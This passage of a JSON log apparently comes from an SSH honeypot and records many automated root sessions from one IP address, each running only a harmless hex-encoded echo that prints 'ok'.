  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "11ca26ea-3f6e-4b07-b0ac-7ec4a37052fd",
  "name": "kindly-granite-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:48.001511+00:00",
  "ended_at": "2026-08-23T09:33:49.037038+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a35ed12-e68b-4923-b383-27ee6d058edc",
  "name": "opal-verdant-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:45.511523+00:00",
  "ended_at": "2026-08-23T09:33:47.172391+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba527b4e-bd4f-4758-b288-577b37a4f9cc",
  "name": "vivid-tender-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:42.705153+00:00",
  "ended_at": "2026-08-23T09:33:44.717092+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67807e3f-1f7e-43fe-a50a-751848de92a0",
  "name": "dusky-shifting-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:40.182299+00:00",
  "ended_at": "2026-08-23T09:33:42.038430+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f8617921-1be3-4bca-8683-342a6cb23bdd",
  "name": "craggy-faded-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:37.848732+00:00",
  "ended_at": "2026-08-23T09:33:39.550492+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc4b2695-47d6-4259-9d1d-605c6147cdc4",
  "name": "rapid-flinty-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:35.269485+00:00",
  "ended_at": "2026-08-23T09:33:37.031360+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7865fe83-27f6-463f-852f-126305d1c30e",
  "name": "lucid-forlorn-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54894,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:33.567746+00:00",
  "ended_at": "2026-08-23T09:33:34.522856+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b1c03bd5-2fba-44dd-9dcc-14b3c53708b3",
  "name": "marine-cheerful-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:30.683346+00:00",
  "ended_at": "2026-08-23T09:33:32.745735+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "591aa4fe-5189-4646-8490-6ee11cdfa25f",
  "name": "eager-weathered-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:28.917561+00:00",
  "ended_at": "2026-08-23T09:33:29.963576+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6f9323e5-450e-434f-a29f-c82ab71b4ad2",
  "name": "restless-mellow-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:26.588195+00:00",
  "ended_at": "2026-08-23T09:33:28.139107+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6068b440-85ed-4630-b0a8-8331ae4cffa3",
  "name": "wooded-vernal-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:24.751251+00:00",
  "ended_at": "2026-08-23T09:33:25.795821+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f0f220bf-3110-4710-9097-6aaf21fbe7ac",
  "name": "lofty-quartz-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:21.918642+00:00",
  "ended_at": "2026-08-23T09:33:23.944346+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "88023bf8-3600-40ed-ba77-e257adefed5c",
  "name": "crisp-tranquil-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:19.679559+00:00",
  "ended_at": "2026-08-23T09:33:21.070105+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "19b0a06e-bba4-4f98-9263-1ff43de56191",
  "name": "tranquil-fringed-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59294,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:17.828441+00:00",
  "ended_at": "2026-08-23T09:33:18.874556+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca6e1a94-c135-4227-a985-602ed5a55dda",
  "name": "forlorn-rustic-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:15.103220+00:00",
  "ended_at": "2026-08-23T09:33:17.155625+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6376f401-339d-4c24-a9fe-c2b756d6e8c7",
  "name": "brave-hidden-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:12.749843+00:00",
  "ended_at": "2026-08-23T09:33:14.413243+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6af9f685-3bed-41b1-bc40-f3054df1a9d3",
  "name": "candid-vernal-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:09.903427+00:00",
  "ended_at": "2026-08-23T09:33:11.979583+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a1f67cb-8259-4297-b8dd-e6d178f1eda5",
  "name": "breezy-emerald-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:07.350198+00:00",
  "ended_at": "2026-08-23T09:33:09.150166+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c271b604-85b2-4b83-9c03-e3a7577024c6",
  "name": "slender-lonesome-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:04.341458+00:00",
  "ended_at": "2026-08-23T09:33:06.603268+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b1dcee7a-8572-4f08-bedf-49d9fa67159d",
  "name": "slender-civil-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50100,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:02.451377+00:00",
  "ended_at": "2026-08-23T09:33:03.561210+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b2682803-280e-4a92-a243-e793e167c939",
  "name": "vernal-vaulted-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50096,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:00.832617+00:00",
  "ended_at": "2026-08-23T09:33:01.723210+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7718e049-df31-485d-a1e8-9556523ba3b1",
  "name": "civil-rustic-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55834,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:58.526322+00:00",
  "ended_at": "2026-08-23T09:33:00.210366+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f8c5851f-f706-470d-b3dc-590338f20093",
  "name": "rapid-frosty-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55828,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:56.835641+00:00",
  "ended_at": "2026-08-23T09:32:57.822997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c42cb5f6-6248-4b70-abfa-04eb222d7da0",
  "name": "cobalt-misty-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55812,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:54.841446+00:00",
  "ended_at": "2026-08-23T09:32:56.005855+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1e0b9e9a-0f8b-4137-bc99-a4cfe00655b1",
  "name": "lunar-brazen-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:52.161514+00:00",
  "ended_at": "2026-08-23T09:32:54.105145+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8291881d-2dc5-400d-abd3-fbb9efa7924c",
  "name": "northern-dapper-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:50.512798+00:00",
  "ended_at": "2026-08-23T09:32:51.450212+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d8f600e-992e-464e-84ce-15684f1065b5",
  "name": "jovial-serene-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:48.170240+00:00",
  "ended_at": "2026-08-23T09:32:49.839499+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "038c1d9a-e4ce-46f0-a639-ca578bd925c6",
  "name": "canny-hazy-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36956,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:46.328873+00:00",
  "ended_at": "2026-08-23T09:32:47.428282+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bd04f322-9ea2-4680-ac14-5cd1f7ce06e1",
  "name": "feathered-frugal-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36954,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:44.208107+00:00",
  "ended_at": "2026-08-23T09:32:45.503339+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "043f78ed-dc3c-4da7-82a7-74af2dae6cc4",
  "name": "boreal-gleaming-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:42.064869+00:00",
  "ended_at": "2026-08-23T09:32:43.433704+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a043a9c4-6dcb-4527-8856-ddbc7f438795",
  "name": "regal-hazy-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:39.755195+00:00",
  "ended_at": "2026-08-23T09:32:41.370187+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a5b68118-31e7-4bc8-9c07-b31220d6e701",
  "name": "regal-murky-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:36.774541+00:00",
  "ended_at": "2026-08-23T09:32:39.033847+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f8dc925f-362b-4b2d-a853-363b5d14c858",
  "name": "earnest-thrifty-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38128,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:33.874672+00:00",
  "ended_at": "2026-08-23T09:32:36.135126+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "91a1995e-22d9-475d-ae39-5707bbd7e2e9",
  "name": "glassy-blazing-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:30.853554+00:00",
  "ended_at": "2026-08-23T09:32:33.046836+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c44d522c-591e-43e0-b219-9595ce11d799",
  "name": "drifting-feathered-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:28.460291+00:00",
  "ended_at": "2026-08-23T09:32:30.123342+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "44007a0f-0685-44d6-a8fa-8cbfdc112561",
  "name": "gritty-obsidian-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37954,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:26.036816+00:00",
  "ended_at": "2026-08-23T09:32:27.637336+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bea5d085-d266-48c4-a8ab-67360f4ae2cf",
  "name": "prairie-genial-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:23.714100+00:00",
  "ended_at": "2026-08-23T09:32:25.206735+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "586dcf8c-aea8-4bbf-a286-71112c9bf1ae",
  "name": "sandy-quiet-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:21.740099+00:00",
  "ended_at": "2026-08-23T09:32:23.026879+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6cadaf3c-da59-4cbf-8d13-2e8c42c9d67f",
  "name": "hazel-woven-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:19.441987+00:00",
  "ended_at": "2026-08-23T09:32:20.974990+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a76e82c1-6b77-421a-b990-65374028a708",
  "name": "sturdy-weathered-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:17.079418+00:00",
  "ended_at": "2026-08-23T09:32:18.813092+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4ec1b838-1344-4c88-acbf-08c9cbc83b32",
  "name": "stoic-blunt-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:14.689690+00:00",
  "ended_at": "2026-08-23T09:32:16.249466+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cda37f02-8363-4ec9-848e-30058d645d29",
  "name": "faded-emerald-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:12.931667+00:00",
  "ended_at": "2026-08-23T09:32:13.951145+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "60e73f50-3e39-4c27-b371-6f138f75917c",
  "name": "leafy-vigilant-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:10.117179+00:00",
  "ended_at": "2026-08-23T09:32:12.185299+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6aaae77e-c726-46bb-8e16-f0460c30cc9b",
  "name": "lucid-dusty-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:05.347829+00:00",
  "ended_at": "2026-08-23T09:32:09.295152+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "26d4a41d-7eed-413f-b9fa-3bb0c06b7727",
  "name": "placid-gritty-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:02.744436+00:00",
  "ended_at": "2026-08-23T09:32:04.690961+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e51b6cf5-1b85-456a-b46c-1af4c1416446",
  "name": "coastal-golden-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:32:00.280972+00:00",
  "ended_at": "2026-08-23T09:32:02.047384+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "de07b742-2e5b-454c-bc4d-a7355ebada9e",
  "name": "breezy-gleaming-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57140,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:57.381068+00:00",
  "ended_at": "2026-08-23T09:31:59.529161+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0ce6515e-c3a1-4c3a-9e57-69d7a9e85765",
  "name": "crimson-indigo-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57126,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:55.530571+00:00",
  "ended_at": "2026-08-23T09:31:56.657937+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c30e368-dca7-4d6d-83b6-5952a6a3dd2b",
  "name": "calm-prickly-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:53.546015+00:00",
  "ended_at": "2026-08-23T09:31:54.813050+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
